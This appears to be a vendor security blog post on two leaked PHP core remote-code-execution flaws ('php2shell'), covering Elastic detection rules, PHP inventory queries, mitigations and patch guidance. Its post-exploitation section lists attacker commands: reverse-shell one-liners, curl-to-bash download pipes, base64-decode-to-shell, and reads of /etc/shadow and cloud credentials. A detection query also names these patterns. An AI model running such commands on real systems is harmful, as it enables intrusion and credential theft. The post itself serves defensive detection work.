Threat Command

php2shell: Assessing Elastic detection coverage relevant to CVE-2026-109618 and CVE-2026-109619

CVE-2026-109618 and CVE-2026-109619 are critical PHP core RCE flaws that leaked ahead of disclosure. We cover what is verified, why exploitation converges on a web server spawning a shell, and the Elastic detections developed to catch this behavior.

On October 20, 2026, details of two critical remote code execution vulnerabilities in PHP, CVE-2026-109618 and CVE-2026-109619, leaked online ahead of their coordinated disclosure and before any patch existed. The PHP security team responded with advance notice of an emergency security release, scheduled for October 21, 2026 at 14:00 UTC, and rated both flaws critical with a CVSS v4.0 score of 9.2. Researchers at watchTowr confirmed the vulnerabilities are real and said they reproduced CVE-2026-109618, while noting they have not observed in-the-wild exploitation. The nickname circulating among researchers is php2shell.

PHP runs behind a very large share of the web: WordPress, Drupal, Joomla, and Magento, shared hosting and control panels, and a long tail of vendor software that bundles a PHP runtime without advertising it. When a critical bug lands in PHP core rather than in one application on top of it, the number of places you have to inventory grows quickly.

The PHP security team and the reporting researchers have now published the technical root cause, a pair of memory-safety bugs in PHP core, but at the time of writing there is still no reliable public proof-of-concept to run end to end. That is an awkward position for a defender, because you cannot simply run the exploit and watch the rules fire. It is not, however, a blind spot. An RCE in a PHP web application ends in the same observable place: a PHP worker process doing something a PHP worker process should not do. That convergent behavior is what we detect, and it is what this post is about.

In this post, we will cover:

  • What the advisory confirmed about CVE-2026-109618 and CVE-2026-109619, and what it means for defenders.

  • Why php2shell will likely behave like generic PHP backend exploitation.

  • The convergent post-exploitation flow, and the Elastic rules that cover this behavior.

  • How to assess and prepare potential coverage before the PoC lands, and what to do right now.

We have walked a PHP-adjacent RCE end-to-end before, in Detecting wp2shell: WordPress pre-authentication RCE in the wild, which turned out to use the same precedence and was caught through similar pre-built behavioral rules.

What we know about CVE-2026-109618 and CVE-2026-109619

Here is what is verified at the time of writing, and what is not.

What we know. Both vulnerabilities are unauthenticated remote code execution flaws in PHP core, each rated critical by the PHP security team with a CVSS v4.0 score of 9.2. They were reported by Wiz Research, which identified them with the help of frontier AI models and coordinated disclosure with the PHP project. Additionally, a web page called php2shell was created and contains a lot of relevant information about the vulnerability. Information leaked on October 20 ahead of the embargo, which is why PHP moved its release forward to October 21 at 14:00 UTC. With that release, PHP published the patched versions, the affected branches, and the technical root cause.The PHP security team patched the vulnerabilities through commit 31c0ea7d7ff1d1fccb6492e52dab544011628065.

What we do not know. The advisory names two distinct root-cause classes, both reachable by an unauthenticated web request:

  • CVE-2026-109618, RCE via out-of-memory (OOM) corruption (GHSA-w8hw-w9fx-j79w): out-of-memory handling can interrupt PHP while internal request data is only partially initialized, and request cleanup may then treat the invalid data as valid.

  • CVE-2026-109619, RCE via stale global state (GHSA-6wmf-4rv5-p3rp): request-owned internal state can survive after its backing memory has been freed, and a later request handled by the same worker may use that stale state before normal initialization resets it.

Fixed versions are PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35. The risk spans any PHP installation serving web requests, including PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP, and LiteSpeed, with the PHP team flagging mod_php as highest risk because an unauthenticated request can trigger the issue before any application code runs. PHP 8.1 and older no longer receive updates from the PHP project, though minimal source backports were provided for 7.4, 8.0, and 8.1, and some distributions and LTS vendors ship backported fixes.

Based on public reporting, the activity maps to Exploit Public-Facing Application (T1190), and once an attacker has code execution, to Command and Scripting Interpreter (T1059) and Server Software Component: Web Shell (T1505.003).

Is there a php.ini mitigation for php2shell?

The PHP security team is explicit that there are no complete mitigations and that updating is the only safe choice. It does, however, document configuration measures that reduce exposure to specific attack paths without making an installation safe. For the OOM-corruption path (CVE-2026-109618), set memory_limit=-1 in a way applications cannot override (for example php_admin_value in the FPM pool or Apache configuration), keep post_max_size low, and enforce a container or cgroup limit rather than RLIMIT_AS or RLIMIT_DATA. For the stale-global-state path (CVE-2026-109619), set session.upload_progress.enabled=0 and restart every worker, which blocks the confirmed session paths but not all variants, and on PHP 8.5 set fatal_error_backtraces=0. Apply these through php.ini, an FPM pool, or server configuration that takes effect before request parsing; ini_set() and .user.ini do not help. Treat all of these as temporary exposure reduction, not a fix, and be skeptical of social-media guidance that presents a single config toggle as a complete solution.

Why php2shell exploitation likely looks like every other PHP RCE

We now know the bug class: two memory-safety bugs in PHP core, but the detection opportunity is in the outcome, not the trigger.

A remote attacker exploiting a PHP web application wants code execution in the context of the web stack, and that context is a predictable set of processes: php-fpm and its workers, php-cgi, lsphp, or a general web server like apache2, httpd, or nginx driving PHP. Once the attacker has execution inside that context, the next actions are almost always the same regardless of how they got there:

  • Confirm access. A first command through a shell to prove execution and establish identity: id, whoami, uname -a, hostname, or cat /etc/os-release.

  • Enumerate for escalation. Quick checks for a path to root: sudo -l, find / -perm -u=s -type f for SUID binaries, getcap -r / for capabilities, or reading /etc/passwd and /etc/shadow.

  • Stage through an interpreter. Pivot out of the shell into a richer runtime: python3 -c, perl -e, ruby -e, node -e, or back into PHP itself with php -r, often to run code that never touches disk.

  • Pull second-stage tooling. Retrieve a payload with curl -O or wget -O, or pipe it straight into an interpreter (curl http(s)://... | bash, wget -qO- http(s)://... | sh).

  • Decode a staged payload inline. Unpack an embedded blob without a download: echo <b64> | base64 -d | sh, openssl enc -d, or xxd -r.

  • Open a reverse shell. The usual primitives: bash -i >& /dev/tcp/<ip>/<port> 0>&1, mkfifo paired with nc, socat, a Python pty.spawn, or PHP fsockopen.

  • Harvest credentials and cloud identity. Read .env files, ~/.aws/credentials, a mounted service account token under (var)/run/secrets/kubernetes.io/, or the instance metadata endpoint at 169.254.169.254.

  • Drop a webshell. Write attacker-controlled PHP into the web root (.php, .phtml), sometimes disguised as an image polyglot or a double extension such as avatar.php.jpg to slip past upload validation.

  • Establish persistence beyond the shell. Add a cron entry, a systemd unit, or an SSH key to ~/.ssh/authorized_keys so access survives a webshell cleanup.

This is exactly the host footprint we walked end-to-end in the wp2shell post. There, a completely different bug (a WordPress REST batch route confusion) ended in apache2 spawning dash to run sh -c -- id; whoami; hostname, and plugin files landing under wp-content/. The entry point was WordPress-specific. The thing that fired the detections was not. A web server process spawning a shell or writing a payload is abnormal no matter which vulnerability opened the door, which is why we build detection on that behavior rather than on an exploit string that doesn’t exist yet. Although we can generally predict the outcome, we can never be entirely certain that we fully cover the threat, as there could be other forms of post-exploitation that we don't catch, like creation of an account or fileless PHP script execution.

That is the core of predicting coverage before a PoC lands: detect the convergent flow, not the specific trigger.

The php2shell post-exploitation flow: what a compromised web server does next

This section is the durable, exploit-agnostic layer. It keys on a web server process (PHP runtimes and general web servers) taking an action that is abnormal for a request-serving daemon. We group the coverage by the observable outcome. Endpoint (EDR) rules are shipped in the public protections-artifacts repository and can prevent as well as alert; SIEM rules are shipped in the public detection-rules repository. The queries below show only the distinctive predicate, not the full rule with all of its production exclusions.

Process execution: the web server spawns a shell

The tightest signal for "a PHP RCE just succeeded" is a request-serving process spawning a shell to run a suspicious command. The endpoint rule keys on a non-interactive web server parent launching a shell with a high-risk command line, and terminates it where prevention is enabled:

process where event.type == "start" and event.action == "exec" and
process.parent.interactive == false and
(
  process.parent.name in ("apache2", "httpd", "nginx", "php-cgi") or
  process.parent.name like ("php-fpm*", "lsphp*")
) and
process.name in ("bash", "dash", "sh", "zsh", "ksh") and
process.args in ("-c", "-cl", "-lc") and
(
  process.command_line like~ (
"*/dev/tcp*", "*|*base64 -d*", "*curl*", "*wget*", "*/etc/shadow*"
) or
  process.args in ("id", "whoami", "hostname")
)

This maps to the endpoint rule Payload Execution by Web Server, which covers a broad set of web server parents (the PHP runtimes, Apache, nginx, and many application servers) and a long catalog of suspicious command lines, from discovery commands through reverse shells, decoding pipelines, and credential-file access. It is the rule that terminated dash in the wp2shell run.

On the SIEM side, two rules cover the same shell activity without a preventive action, which lets them carry fewer exclusions and reduce the risk of false negatives. Suspicious Command Execution via Web Server matches known-bad command lines from a web server parent. Unusual Command Execution via Web Server is a new_terms rule: it learns which shell command lines each web server parent normally runs on a host, then alerts on lines that break the baseline. A fresh exploit introduces command lines the host has never seen, so the two stack well together.

Process lineage from our earlier wp2shell investigation, shown as a behavioral example.

Child execution: the web server spawns a non-shell child

Not every PHP RCE goes through a shell. A php2shell payload may invoke an interpreter directly (python -c, perl -e), pull tooling with a downloader, or drop into a reverse-shell helper. Two SIEM rules cover a web server spawning children outside its normal set:

We have an endpoint rule named Suspicious Web Server Child Process, which covers a broad set of web parents and potentially suspicious child processes. This rule has response actions to kill the child process. 

For SIEM, we have a similar but broader rule named Suspicious Child Execution via Web Server, which keys on a web server parent whose child is run from a suspicious path (/tmp/, /dev/shm/, /var/tmp/, the web root) or is a suspicious binary (an interpreter, a networking utility, a cloud CLI, a file with a script extension). Unusual Child Execution via Web Server applies the new_terms approach to child executions, surfacing child processes a given web server has never spawned on that host. They did not fire in the wp2shell run, because that chain went through dash and standard discovery binaries that the command-execution rules already cover, but they are the layer that catches a variant invoking curl | bash or python -c directly.

Controlled PHP-FPM diagnostic launching whoami, which generated a “Suspicious Child Execution via Web Server” alert. This test used detect mode and did not exploit either CVE.

Payload download: the web server pulls second-stage tooling

A common follow-on to PHP RCE is retrieving a second-stage payload. The endpoint rule Payload Downloaded via Curl or Wget by Web Server detects a web server parent invoking curl or wget through a shell to save a remote file to disk or pipe it into an interpreter, and terminates it where prevention is enabled. It did not need to fire in the wp2shell PoC, which carried its own payload, but it is a high-value layer for a real intrusion that stages tooling from an external host.

File creation: the PHP webshell drop

Before any command runs, the attacker often has to write a file: a webshell, a dropped script, an uploaded archive. A web server writing new executable or script content into the web root is abnormal outside of a deployment. Three rules cover this from different angles:

How to prepare coverage for php2shell before the exploit exists

Because the post-exploitation flow is predictable, you can line up coverage now rather than scrambling when the exploit code appears. Enable these pre-built SIEM rules on any host running PHP or a web server:

Deploy Elastic Defend with prevention enabled on those same hosts to add the endpoint layer, which can terminate processes that match the applicable behavioral rules. The high-entropy rule require Elastic Stack 9.3.0 or later. In the Elastic Defend integration policy, under advanced settings, set linux.advanced.events.populate_file_data to true and verify that incoming file events include file.Ext.entropy for the high-entropy rule.

The coverage spans two data sources, process and file, which is why both layers matter:

Public Elastic rule guidance for the php2shell post-exploitation flow

If your web stack runs behind a parent process that is not yet in these lists, let us know so we can extend their scope.

How to find PHP installs that may be affected by php2shell

Start by identifying PHP deployments across Linux and Windows, including runtimes bundled with other applications. Patched versions are PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35, so use the queries below to inventory PHP across your environment and prioritize anything that is unpatched or end of life.

Find PHP through process telemetry

In Kibana Discover, select a data view containing process events, such as logs-endpoint.events.process-*, and search the available retention period, for example, the last 7 days:

event.category: process and (
  process.name: (php* or lsphp* or frankenphp or sw-engine-fpm) or
  process.parent.name: (php* or lsphp* or frankenphp or sw-engine-fpm)
)

Review host.name, process.executable, process.parent.executable, and container.id where available. The query includes common Windows process names such as php.exe and php-cgi.exe. Parent-process matches can also reveal PHP workers through their recorded child processes.

Locate PHP installs on Linux and Windows

Process telemetry can miss inactive installations. Use Osquery to check common system and hosting-platform locations for PHP binaries and Apache PHP modules. The first example runs the query for Linux systems:

SELECT DISTINCT path, filename, type, symlink
FROM file
WHERE (
       path LIKE '/usr/bin/php%'
    OR path LIKE '/usr/sbin/php%'
    OR path LIKE '/usr/local/bin/php%'
    OR path LIKE '/usr/local/sbin/php%'
    OR path LIKE '/usr/lib/cgi-bin/php%'
    OR path LIKE '/opt/cpanel/ea-php%/root/usr/bin/php%'
    OR path LIKE '/opt/cpanel/ea-php%/root/usr/sbin/php-fpm%'
    OR path LIKE '/opt/plesk/php/%/bin/php%'
    OR path LIKE '/opt/plesk/php/%/sbin/php-fpm%'
    OR path LIKE '/opt/remi/php%/root/usr/bin/php%'
    OR path LIKE '/opt/remi/php%/root/usr/sbin/php-fpm%'
    OR path LIKE '/opt/rh/rh-php%/root/usr/bin/php%'
    OR path LIKE '/opt/rh/rh-php%/root/usr/sbin/php-fpm%'
    OR path LIKE '/usr/local/lsws/lsphp%/bin/lsphp'
    OR path LIKE '/usr/local/lsws/fcgi-bin/lsphp%'
    OR path LIKE '/snap/php%/%/bin/php%'
    OR path LIKE '/nix/store/%php%/bin/php%'
    OR path LIKE '/usr/lib/apache2/modules/libphp%.so'
    OR path LIKE '/usr/lib/httpd/modules/libphp%.so'
    OR path LIKE '/usr/lib64/httpd/modules/libphp%.so'

    /* Generic custom installation paths */
    OR path LIKE '/%/php%/php%'
    OR path LIKE '/%/php%/%/php%'
    OR path LIKE '/%/%/php%/php%'
    OR path LIKE '/%/%/php%/%/php%'

    OR path IN (
        '/usr/bin/lsphp',
        '/usr/local/bin/lsphp',
        '/usr/bin/frankenphp',
        '/usr/local/bin/frankenphp'
    )
)
ORDER BY path;

The second query checks common Windows standalone and bundled installations.

SELECT DISTINCT path, filename, file_version, product_version
FROM file
WHERE (
       path LIKE 'C:\PHP%\php%'
    OR path LIKE 'C:\PHP%\%\php%'
    OR path LIKE 'C:\%\PHP%\php%'
    OR path LIKE 'C:\%\PHP%\%\php%'
    OR path LIKE 'C:\Program Files%\%\PHP%\php%'
    OR path LIKE 'C:\Program Files%\%\PHP%\%\php%'
    OR path LIKE 'C:\wamp%\bin\php\%\php%'
    OR path LIKE 'C:\laragon\bin\php\%\php%'
    OR path LIKE 'C:\Program Files%\Plesk\Additional\%PHP%\php%'
    OR path LIKE 'C:\Program Files%\Plesk\admin\bin\php%'
)
AND LOWER(filename) IN ('php.exe', 'php-cgi.exe', 'php-win.exe')
ORDER BY path;

This results in the following example hits:

We can also leverage OSQuery’s deb_package and rpm_package tables:

SELECT name, version, arch, status
FROM deb_packages
WHERE status = 'install ok installed'
  AND (
       name LIKE 'php%'
       OR name LIKE 'libapache2-mod-php%'
       OR name LIKE 'lsphp%'
       OR name LIKE 'ea-php%'
       OR name LIKE 'plesk-php%'
       OR name = 'sw-engine'
  )
ORDER BY name;

And:

SELECT name, version, release, epoch, arch
FROM rpm_packages
WHERE name LIKE 'php%'
   OR name LIKE 'lsphp%'
   OR name LIKE 'ea-php%'
   OR name LIKE 'plesk-php%'
   OR name = 'sw-engine'
ORDER BY name;

Of course, this is a short list of potential locations; use your own inventory to scan your environment. Extend these paths for other drives, custom installations, and vendor software. Inspect container filesystems separately. File matches may include unused installations, wrappers, or helper utilities. Missing results do not establish that PHP is absent.

What to do about CVE-2026-109618 and CVE-2026-109619 right now

PHP has released the fixes, so patching is now the priority, with exposure reduction for anything you cannot patch immediately:

  1. Inventory every PHP install you own. Start with internet-facing web servers, then go looking for the less obvious locations: vendor appliances and software that bundle a PHP runtime, control panels, and anything running WordPress, Drupal, Joomla, or Magento.

  2. Patch internet-facing systems first, to PHP 8.5.12, 8.4.27, 8.3.36, or 8.2.35, and check your Linux distribution and hosting provider for backported packages.

  3. Identify end-of-life PHP. If you are running PHP 8.1 or older, the PHP project no longer ships updates, though minimal source backports exist for 7.4, 8.0, and 8.1 and some vendors provide backported packages. Upgrade, take it off the internet, or place it behind a VPN or web application firewall until you can.

  4. If you cannot patch immediately, apply PHP's documented partial mitigations (for example session.upload_progress.enabled=0, and a constrained memory_limit and post_max_size), but treat them as temporary exposure reduction, not a fix.

  5. If you find something, isolate the host and preserve web server and PHP logs. Look for webshells and new files in the web root, along with new cron jobs, services, and accounts.

php2shell detection: what holds regardless of the root cause

CVE-2026-109618 and CVE-2026-109619 are two critical, unauthenticated PHP core RCE flaws that were publicly identified before their coordinated disclosure. The patched releases (8.5.12, 8.4.27, 8.3.36, 8.2.35) and the two root-cause classes are now public, but the post-exploitation outcome is what makes them detectable: a web server process spawning a shell, pulling a payload, or dropping a webshell into the web root. Elastic already ships the behavioral layer that catches that convergent flow across both process and file telemetry.

Patch now, isolate what you cannot patch, and verify the web-server-to-shell detection stack is enabled on your PHP hosts. We will revisit this post with concrete telemetry as reliable public exploitation details emerge.

Related Content

Cloud Threat Emulation on Autopilot: Context is Everything

Cloud Threat Emulation on Autopilot: Context is Everything

Terrance DeJesus
Linux Detection Engineering - Local Privilege Escalation

Linux Detection Engineering - Local Privilege Escalation

Ruben Groenewoud
How to correlate Kubernetes audit logs with container runtime data

How to correlate Kubernetes audit logs with container runtime data

Isai Anthony
Linux Detection Engineering - Fileless Execution

Linux Detection Engineering - Fileless Execution

Ruben Groenewoud

Elastic Security Labs Newsletter